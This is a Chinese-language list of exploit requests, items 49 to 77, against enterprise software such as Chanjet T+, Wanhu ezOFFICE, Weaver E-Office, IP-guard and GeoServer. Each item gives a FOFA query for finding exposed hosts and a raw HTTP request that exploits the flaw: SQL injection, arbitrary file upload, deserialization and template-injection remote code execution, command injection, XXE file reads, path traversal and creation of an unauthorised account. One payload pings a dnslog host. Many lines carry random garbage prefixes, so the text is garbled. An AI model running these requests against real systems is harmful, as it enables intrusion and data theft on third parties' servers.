User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
$ X! x" L- B0 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
4 w6 ]: i' N0 s! ^( {------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
" w8 {" F  z/ `% S* VContent-Type: application/octet-stream
+ M* b, _# d4 E0 H  c------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--

/ g/ Y7 e3 ~4 m! @# t. g
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
' @7 z% g5 I& d8 a+ a" c2 p2 x5 `/ W# N
+ `! i/ {4 J$ M: UPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
, j" P! d( Z( f0 o1 J7 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
: F& g* e1 i9 l: i* J- Y4 [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 }9 F: _3 V. ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 V0 m; ?& s6 U0 m+ D" Y2 NConnection: close
3 S. v  v% Q4 e2 }6 jContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
% j  v0 i6 C% U0 d7 D
-----------------------------vvv3wdayqv3yppdxvn3w
- O; S$ x1 W) v) a6 uContent-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

& |$ o" y( I7 ]( [" a1 h8 S$ ^) E1 G, Xwersqqmlumloqa
+ N0 u+ G2 G! }2 T1 N$ U) M-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
* j& o) L5 _# @9 M7 @
% W/ o0 ?2 a. |. F/ k2 xupload
/ E! E, w( h+ }$ _  c6 G/ a* j6 `-----------------------------vvv3wdayqv3yppdxvn3w--

, S9 w( I0 N+ s# C
; l" k: a" n2 V! _http://x.x.x.x/tmpfile/updB3CB.tmp.php
; t2 }2 r& F( S% G
50. QDocs Smart School 6.4.1 filterRecords SQL注入
7 p0 n' t& ^( d/ I% i; s$ ?FOFA：body="close closebtnmodal"
( j; ]  O5 k! ?% n$ [1 GPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
3 @: x: `  x9 E5 WAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

, l/ b/ C& v2 @' p8 s" ?7 v% J& ~searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
. @7 a) r9 j1 d& r' E! H. [5 i

51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
/ h7 S# s" r& I" f/ W7 }2 @GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
2 @9 Z) N/ p) ^1 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
. y& C  U/ N- D9 ?3 SAccept-Encoding: gzip, deflate
7 a$ E% \5 B  ]7 \8 wAccept-Language: zh-CN,zh;q=0.9
Connection: close

9 W4 K( [8 `& w  R  u8 B+ n8 w  P7 L6 h
52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
! q2 z' e3 b  ~9 pHost: 192.168.86.128:8097
1 S) @; ]& Z7 b9 f# XUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
# Y1 Y% J+ f/ l( wContent-Length: 87
$ O0 U9 d6 F: d4 L& X5 gAccept: */*
6 k, e0 y  F+ E: P- }- W) q* ]Accept-Language: en
- V. m* w6 a$ @8 l& y: ]Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

" m3 y1 A0 a, }3 Htfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
, g5 x9 x2 ~  W/ H
" X& G' g# c' K' l" X. \9 P0 @- h
$ S3 ]; g& X; n* G4 ?53. 迪普 DPTech VPN Service 任意文件上传
9 W: F: h3 d1 Z3 m0 O5 Y$ g  rFOFA：app="DPtech-SSLVPN"
: u2 X, F5 ~5 ~; L3 M; R/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
% Y. ?/ t! w9 s/ q7 W/ v
1 n+ N3 U  @# ]. a! @* m0 c* W
( b4 ^5 m4 ]! a, a54. 畅捷通T+ getstorewarehousebystore 远程代码执行
3 w( g( \( N5 E* w. AFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

/ R; B2 K: E* o. p+ x2 z* N8 o( F
4 n. v0 g! J- ^完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
; E( @0 N1 G3 X: I" @) x# [User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

+ S* k/ z6 @& L# \{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
: Z3 p5 P, G! w: @3 p   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
& e* ]7 ^& D9 y. Z4 u2 _   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
+ s8 U4 F2 |, K6 V    "FileName":"cmd",
6 m- b+ M% E" V1 y    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
/ ?% f3 g  J9 z; R  L% a  }
0 R7 @* Q& \5 j! z- R  }
, g# d) v, H+ @) D9 \3 w& L; c; R: O# g}
  `) X; U* o3 i
. J2 S0 L' J$ ]6 B2 o! Q. X
6 H& @1 ?; u: O' }( k, p第二步，访问如下url
( |* i- F: ?& z; _/ r% x+ [, K) u/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt

1 r* B% b# T1 B1 \
55. 畅捷通T+ getdecallusers信息泄露
, J3 H6 H# W  P+ y9 o7 j* q3 EFOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
; a- e/ D# x4 P( e+ V) {/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

( ~* w. S4 s9 d; g$ O% w56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
/ Q* F$ o7 I: ePOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
, X* X: y0 S! |# L7 z! DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

{
5 Z: N, I4 i2 S0 Q  L3 q3 F  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
5 s7 e- N% e5 V7 _0 H   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
5 w5 D, q0 u; L$ L  n6 s; W0 w( m       }
    }
6 t1 |4 w1 a, Z- }  }
% |5 q1 _  R6 M! p}


57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
0 t& v: {4 j) l* D) |  g2 w7 ^9 E7 MGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
6 p8 e  H# n( m* s  k& q: O0 YConnection: close


/ h' M$ e* E. v$ G! d8 V* T# L58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
* C+ ?# M% Q4 Z! ~# T4 l1 G: z1 X. \  y$ nUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
( I# b7 x9 Y; O1 \7 M  Q( J
: B" X" G* {5 }- j5 t6 {
2 U+ E  O0 v/ y* }/ `( y59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
8 i# d  O! \# D; ]# ]* BFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
+ S0 q, d4 m  s1 N) E; C' ~8 FPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
6 @0 V2 u3 D  B: v' h+ d9 P1 aHost: 192.168.86.128:9090
( i/ @: `, Z3 a) a- t: T8 nUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
. s) p+ ]) B7 A% W4 F$ vConnection: close
, ?/ l3 E* Y7 u6 B# D' l; m5 AContent-Length: 1669
. E$ J- A, @" j  J! |/ ?Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
, S2 o9 V$ H" `( C$ k- iAccept-Encoding: gzip

PAYLOAD

& ]+ L* N- T1 W" p2 R( k- [
60. 百卓Smart管理平台 importexport.php SQL注入
* j! B, g6 m% D/ a; K. HFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
2 }3 r) ^. k4 b/ MHost:
, p/ I9 ?0 x6 h1 S  _! |% ~" mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
8 G# R8 X6 z9 ?( V/ n% ]/ R" wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
7 F' N4 |" j2 k, A, tAccept-Language: zh-CN,zh;q=0.9
* G; i' H+ D, g4 ~Connection: close

1 s+ t. ^; ]& n4 f9 Y) f
# j2 Q% g6 T% N' G9 T# H61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
+ _( @' _8 }. U- FPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
* S% ]# b' ~7 ^) C3 J& H$ IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 w2 \9 d" P. S( ~/ f3 e" s) y% @Connection: close
Content-Length: 27
  s, o& p! j2 p5 O1 ~5 I9 yAccept: */*
; S- P* s7 |) I6 n; g, EAccept-Encoding: gzip, deflate
$ _: f/ p8 k( ]& G- dAccept-Language: en
Content-Type: application/x-www-form-urlencoded
: g9 `" K. K4 C, }
8uxssX66eqrqtKObcVa0kid98xa
4 n! I* j" x( @1 V, V9 ?; E/ ^& ^
7 M8 S4 }+ P7 {/ J* t, R3 f
2 {) e1 y" a% @62. IP-guard WebServer 远程命令执行
7 {6 Y, x, m! QFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
  s) L. M( q; E5 S% e" Y% U0 W" jUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
8 C) {( y3 n; j: UConnection: close
Accept: */*
" Z7 ^7 e% c! f- x6 \Accept-Language: en
Accept-Encoding: gzip


访问
9 M5 f5 }0 X& M% k
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


) }7 s  N' Y; _3 u9 x* ~5 F63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
3 z# E! a  t$ S* b$ N, r6 k  cPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
; G6 Q5 R" b0 g8 u* iHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 z6 _/ j/ P0 R/ Y3 A: TContent-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
6 O# o1 @7 l6 V( mFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
( k, y/ b; t# k, KHost: 192.168.86.128:9001
1 f1 {. s4 y; E% ^& I0 \+ r: f; ?User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
5 g' `9 F6 t$ i$ mContent-Length: 369
Accept: */*
Accept-Language: en
' k. c) l+ K  r& a$ q6 W" Q# OContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

' A% X! L! n! k( W' I+ R4 b/ C' ~: v<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
! {  X$ d' n( t/ I' r& i" q+ S3 v<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
3 N+ K7 q4 k" |( H. }5 [& ~    </GetOSpById>
' `; c- O& @4 T6 h& s7 g. J  </soap:Body>
</soap:Envelope>
; ~2 y5 {. Z6 |: T8 S
* L. G4 |" e$ P! I. z
* p& P. I2 @6 u- @65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
$ z4 i" j5 W+ m9 m# DHost:
6 h: j1 t$ R/ F/ F( yUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
6 j+ e: M/ X1 n9 N) F! bAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
' v! Q( C, u8 E; MAccept-Language: en
Content-Length: 174

1 z3 t  ]- S0 r# ?, e7 `0 eoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
! E) E  a, ?2 \! vFOFA：app="万户ezOFFICE协同管理平台"
; f1 `6 x+ r* H/ g8 v  ^
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
# z' s* w0 F6 r2 }( \: mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
/ l: i. v" A5 B# {( rConnection: close
Accept: */*
- X5 v+ q: \# ?8 f7 lAccept-Language: en
Accept-Encoding: gzip

* P! F- S0 L  G. u! l( q" m
$ s) e6 D' v* L7 [4 h( i第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
3 ^8 z9 W1 J& i- Z. X2 z
67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
, o3 ]) z6 A  Y' onewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
+ }3 t# D, Z9 ~5 |: c. \9 YPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
' n/ Q$ L  `1 ]5 G* u' XUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
1 m8 a  }8 `. l0 }9 x2 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
" H( K* v+ a/ e* B" Z6 w% u$ bAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
% b3 L9 v8 [) s! t- w1 k% TUpgrade-Insecure-Requests: 1
: e, V* t& J1 I' s, E
--ufuadpxathqvxfqnuyuqaozvseiueerp
6 T. t; V9 d7 X, S8 P, i$ aContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
2 ^6 M( g7 z5 j1 d0 g! d: P3 P
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--


文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

1 v0 X. b6 E8 d' ?8 b3 e68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
2 |1 O8 ^3 R1 n7 w; dHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
/ y! h& L( O2 O2 T9 ~Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
# h3 i$ m# S0 |0 FAccept-Language: zh-CN,zh;q=0.9
' ?# P/ z' A5 Y4 N" \" `Connection: close


* G; \9 D6 j: N- l1 ]69. 万户 ezOFFICE contract_gd.jsp SQL注入
6 |6 K7 w6 c: e; x7 jFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
# \: o7 d9 j: j( i" eUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
( ^# c4 G/ M) B! i" }" H& H& s& fAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

8 D7 z  c$ d& Q! p
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
3 L: H, A- U4 s8 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
& N- C9 c0 B1 N' g/ w0 MContent-Type: application/x-www-form-urlencoded
9 [% Y7 e1 a* z& MTYPE: C
Content-Length: 16702
) z: H/ ?, p) B+ t
' h) h- V  @. R& i7 e" b__VIEWSTATE=PAYLOAD
3 r) G: Q4 e) c3 y  l! s
* Y$ V, k# H7 h+ s1 G
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
) D9 }( t) f( S4 w/ JFOFA：body="PM2项目管理系统BS版增强工具.zip"
. {8 a7 |' ]$ {( Z3 |0 `! l, jGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
7 f3 \2 a+ g6 K8 i1 {: gConnection: close
# w3 L; i. U7 M0 H/ A. }$ c$ rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 i/ R( B2 ~; `! w& Q4 UAccept-Encoding: gzip, deflate
4 d5 i" I8 x; ]  [) Z, IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( Y: L7 E: q$ _2 n: _Upgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
1 J$ \6 l" E" W$ I- @% bFOFA：app="致远互联-OA"
9 Q3 J4 q& ~9 Y. TPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
3 Y; u4 k. ?+ h$ @  XContent-Length: 583
Content-Type: application/x-www-form-urlencoded
+ s: K, s3 P( r. p3 q% ?6 u. D% vAccept-Encoding: gzip
  I' _5 q% B# b7 J1 U
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
3 k( X0 L3 o" M, j

73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
( N* Y6 [( h: EAccept-Encoding: gzip, deflate
: A1 L/ T' y! D6 n. q" w; bConnection: close
Content-Type: application/xml
SL-CE-SUID: 3

PAYLOAD
0 v% Q/ ?* |2 k
6 D+ \/ ?; r* W& y1 d  u- T) s% [
74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
' a  T+ q3 L# gPAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
- d( s9 D- q3 q7 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
( T- v2 g# H: ]6 IAccept: */*
9 q1 I- r" G# B/ t6 W, vAccept-Language: en
Accept-Encoding: gzip

/ t; {2 \3 s2 H9 \. L
5 A3 b/ {5 o7 s3 @  i1 a" `' lGET /cgi-bin/test28256.txt HTTP/1.1
# A2 [) ~5 N9 a) J0 O5 V- f; r7 bHost: x.x.x.x
% x0 n% i4 o. N- p) M- G
8 \0 M$ J$ a" c% U3 u
76. 新开普掌上校园服务管理平台service.action远程命令执行
. I: z7 ^. t4 u# y: E6 d! KFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
, @( I4 C: d" v0 sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
& B8 q: M1 G8 Z& F7 a9 U6 nContent-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
* C1 I, u8 W: b  B' J  d4 N- N" y* JUpgrade-Insecure-Requests: 1

{
: i* z, d1 T# f+ E$ Y7 Y"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


9 C# D+ N1 J: L0 p' @. sGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
2 [8 l. J7 U3 wHost: x.x.x.x

6 k( m; a5 b9 e, N* \6 S$ L

# @. }% q3 @- f5 {* {, t3 t77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
3 h" _1 g) @9 @; XConnection: close
. u8 N6 P! U. T9 g( @Content-Length: 433
$ p! D4 @! e  P5 V: tAccept: */*
! B7 e, R' t' n! o& cAccept-Encoding: gzip, deflate
/ z" m' P" G) G: |! o8 EAccept-Language: zh-CN,zh;q=0.9
: ?& W  F8 E9 Y0 J! L' O: \Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
# o- M; h/ Y, Y) b. M1 w- F5 \! Z; J4 [
" @2 h, _8 K( R3 w: ^5 s------------398jnjVTTlDVXHlE7yYnfwBoix
. e- l/ X0 U& K9 r8 K" t3 gContent-Disposition: form-data; name="folder"
+ \( r6 H2 f6 T7 U4 r2 W
/upload/udplog
3 a" {1 t9 O0 `: ]  g------------398jnjVTTlDVXHlE7yYnfwBoix
- E& s; j/ S* H4 V( r2 v& ^% yContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
* `" e# W6 L: V6 R$ j% b& ?Content-Type: application/octet-stream

. A3 O  ~3 V. L9 _2 A& J9 thello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
